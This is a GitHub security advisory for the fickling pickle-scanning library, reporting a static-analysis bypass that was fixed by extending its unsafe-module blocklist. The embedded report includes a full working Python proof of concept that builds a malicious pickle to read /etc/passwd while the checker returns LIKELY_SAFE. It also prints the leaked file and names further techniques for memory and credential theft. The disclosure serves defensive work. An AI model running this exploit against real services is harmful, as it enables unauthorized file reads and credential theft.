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fickling modules linecache, difflib and gc are missing from the unsafe modules blocklist

Moderate severity GitHub Reviewed Published Mar 13, 2026 in trailofbits/fickling • Updated Mar 13, 2026

Package

pip fickling (pip)

Affected versions

<= 0.1.9

Patched versions

0.1.10

Description

Our analysis

As stated in the project's security policy, we also don't consider UnusedVariables bypasses to be security issues. We added several unsafe modules mentioned by the reporter in advisory comments to the blocklist (trailofbits/fickling@7f39d97).

Original report

Title: UnusedVariables analysis bypass via BUILD opcode Arbitrary File Read through fickling.load()

Summary

Two independent bugs in fickling's AST-based static analysis combine to allow a malicious pickle file to execute arbitrary stdlib function calls - including reading sensitive files - while check_safety() returns Severity.LIKELY_SAFE and fickling.load() completes without raising UnsafeFileError.

A server using fickling.load() as a security gate before deserializing untrusted pickle data (its documented use case) is fully bypassed. The attacker receives the contents of any file readable by the server process as the return value of fickling.load().

Details

Interpreter.unused_assignments() does not scan the result assignment's RHS

File: fickling/fickle.py, Interpreter.unused_assignments(), ~line 1242

for statement in self.module_body:
    if isinstance(statement, ast.Assign):
        if (
            len(statement.targets) == 1
            and isinstance(statement.targets[0], ast.Name)
            and statement.targets[0].id == "result"
        ):
            break
        ...
        statement = statement.value
    if statement is not None:
        for node in ast.walk(statement):
            if isinstance(node, ast.Name):
                used.add(node.id)

When the loop reaches result = _varN, it breaks immediately. The right-hand side of the result assignment is never walked for variable references. Any variable whose only reference is inside the result expression is therefore never added to the used set and is incorrectly flagged as unused - unless it also appears in an earlier non-assignment statement.

The BUILD opcode generates exactly such a non-assignment statement:

# Build.run() generates:
_var4 = _var3                     # Assign  - _var3 added to used
_var4.__setstate__(_var2)         # Expr    - _var2 and _var4 added to used

This makes _var2 (the result of the dangerous call) appear in the used set via the setstate expression, so UnusedVariables never flags it.

File: fickling/fickle.py, TupleThree.run(), and siblings

def run(self, interpreter: Interpreter):
    top = interpreter.stack.pop()
    mid = interpreter.stack.pop()
    bot = interpreter.stack.pop()
    interpreter.stack.append(ast.Tuple((bot, mid, top), ast.Load()))
    #                                   ^^^^^^^^^^^^^^^^
    #                                   Python tuple, not list

Python's ast module requires repeated fields (such as Tuple.elts) to be lists. When elts is a Python tuple, ast.iter_child_nodes() does not yield its elements, so ast.walk() never descends into them. Any variable reference stored inside such a tuple node is invisible to every analysis that uses ast.walk() - including UnusedVariables.

Demo:

import ast
name = ast.Name(id='_var1', ctx=ast.Load())

# Correct (list elts) - ast.walk finds it
t = ast.Tuple(elts=[name], ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # ['_var1']

# Buggy (tuple elts) - ast.walk finds nothing
t = ast.Tuple(elts=(name,), ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # []

Combined attack - arbitrary file read

The two bugs combine with the absence of linecache and difflib from UNSAFE_IMPORTS:

from linecache import getlines      # not in UNSAFE_IMPORTS
_var0 = getlines('/etc/passwd')     # reads the file
from builtins import enumerate
_var1 = enumerate(_var0)            # _var0 in RHS - added to used
from builtins import dict
_var2 = dict(_var1)                 # _var1 in RHS - added to used; produces {0:'line1',...}
from difflib import Differ
_var3 = Differ()                    # stdlib, not in UNSAFE_IMPORTS
_var4 = _var3
_var4.__setstate__(_var2)           # BUILD Expr - _var2 and _var4 added to used
result = _var3                      # loop breaks here; nothing in defined−used

check_safety() returns Severity.LIKELY_SAFE. fickling.load() calls pickle.loads(). At runtime, Differ().dict.update({0: 'root:x:0:0\n', ...}) succeeds and the file contents are returned to the caller.

PoC

pip install fickling

#!/usr/bin/env python3
import io
import sys

import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety, Severity
from fickling.loader import load
from fickling.exception import UnsafeFileError

TARGET = "/etc/passwd"

pickled = Pickled([
    op.Proto.create(4),

    op.ShortBinUnicode("linecache"),
    op.ShortBinUnicode("getlines"),
    op.StackGlobal(),
    op.ShortBinUnicode(TARGET),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[0] = _var0 = getlines(TARGET)

    op.Global("builtins enumerate"),
    op.BinGet(0),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[1] = _var1 = enumerate(_var0)

    op.Global("builtins dict"),
    op.BinGet(1),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[2] = _var2 = dict(_var1)

    op.ShortBinUnicode("difflib"),
    op.ShortBinUnicode("Differ"),
    op.StackGlobal(),
    op.EmptyTuple(),
    op.Reduce(),
    op.Memoize(),                   # memo[3] = _var3 = Differ()

    op.BinGet(2),                   # push _var2 as BUILD state
    op.Build(),                     # _var4=_var3; _var4.__setstate__(_var2)

    op.BinGet(3),
    op.Stop(),
])

result = check_safety(pickled)
assert result.severity == Severity.LIKELY_SAFE, f"Expected LIKELY_SAFE, got {result.severity}"
print(f"[+] check_safety verdict : {result.severity.name}  (bypass confirmed)")

buf = io.BytesIO()
pickled.dump(buf)

obj = load(io.BytesIO(buf.getvalue()))
lines = {k: v for k, v in obj.__dict__.items() if isinstance(k, int)}

print(f"[+] fickling.load() returned : {type(obj).__name__}")
print(f"[+] {TARGET} - {len(lines)} lines exfiltrated:\n")
for i in sorted(lines):
    print(f"{lines[i]}", end="")

Result

[+] check_safety verdict : LIKELY_SAFE  (bypass confirmed)
[+] fickling.load() returned : Differ
[+] /etc/passwd - 58 lines exfiltrated:

    root:x:0:0:root:/root:/usr/bin/zsh
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
    dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
    systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin

Impact

Vulnerability type: Static analysis bypass leading to arbitrary file read (and arbitrary stdlib code execution) through a security-gated deserialization API.

Who is impacted: Any application or service that calls fickling.load() or fickling.loads() to validate untrusted pickle data before deserializing it. This is the primary documented use case of the fickling.loader module. The attacker supplies a pickle file; the server processes it through fickling.load(), receives LIKELY_SAFE, and unpickles the payload. File contents are returned directly in the deserialized object's attributes.

Beyond file read, the same BUILD-opcode technique can be applied to any stdlib module absent from UNSAFE_IMPORTS (e.g., gc.get_objects() for full in-process memory inspection, inspect.stack() for call-frame local variable exfiltration, netrc.netrc() for credential theft).

References

@thomas-chauchefoin-tob thomas-chauchefoin-tob published to trailofbits/fickling Mar 13, 2026
Published to the GitHub Advisory Database Mar 13, 2026
Reviewed Mar 13, 2026
Last updated Mar 13, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

EPSS score

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-r48f-3986-4f9c

Source code

Credits

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